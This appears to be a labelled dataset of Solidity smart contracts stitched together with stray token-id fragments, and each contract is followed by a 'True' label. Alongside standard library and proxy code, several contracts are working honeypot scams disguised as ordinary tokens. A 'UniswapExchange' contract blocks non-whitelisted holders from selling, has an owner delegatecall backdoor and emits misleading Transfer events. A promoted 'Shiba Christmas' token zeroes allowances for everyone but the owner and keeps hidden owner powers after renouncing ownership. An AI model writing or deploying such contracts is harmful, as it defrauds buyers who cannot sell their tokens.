* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
True
|
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] |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
True
|
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] |
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] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
contract Proxy {
address implementation_;
address public admin;
constructor(address impl) {
implementation_ = impl;
admin = msg.sender;
}
function setImplementation(address newImpl) public {
require(msg.sender == admin);
implementation_ = newImpl;
}
function implementation() public view returns (address impl) {
impl = implementation_;
}
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view returns (address) {
return implementation_;
}
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
}
|
True
|
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1008,
1998,
1063,
1035,
2991,
5963,
1065,
2323,
102
] |
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Long Long Animals
/// @author: manifold.xyz
import "./ERC1155Creator.sol";
///////////////////////////////////
// //
// //
// _____ //
// ( • U • ) //
// ¯¯¯| | //
// | | //
// | | //
// | \ ________ //
// | ) //
// | | //
// | _ ____ _ | //
// U U U U //
// //
// //
///////////////////////////////////
contract LLA is ERC1155Creator {
constructor() ERC1155Creator() {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC1155Creator is Proxy {
constructor() {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4;
Address.functionDelegateCall(
0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4,
abi.encodeWithSignature("initialize()")
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
|
True
|
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/*
🎅SHIBA CHRISTMAS STEALTH LAUNCH on ETH TODAY AT 7 pm UTC / 2 pm EST🎅
Novel Tokenomics including:
🎁 Auto Reflections
🎁 High dividend earning re-base mechanics (always ensuring a higher price floor).
🎁 Buy-Back System
This Christmas, in the spirit of giving, a portion of our sales will be donated to Christmas charities. Merry Christmas to all and Happy Holidays! 🌲
Website - https://www.shiba-christmas.com/
Telegram - https://t.me/shiba_christmas
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract ShibaChristmas is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12* 10**18;
string private _name = 'Shiba Christmas ' ;
string private _symbol = 'SXMAS ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
True
|
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pragma solidity ^0.4.18;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != 0x0){
owner = newOwner;
}
}
function sendEtherToOwner() onlyOwner public {
owner.transfer(this.balance);
}
function terminate() onlyOwner public {
selfdestruct(owner);
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
string public name="EtherTAM";
string public symbol="ETAM";
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply=30000000;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
//uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
//assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
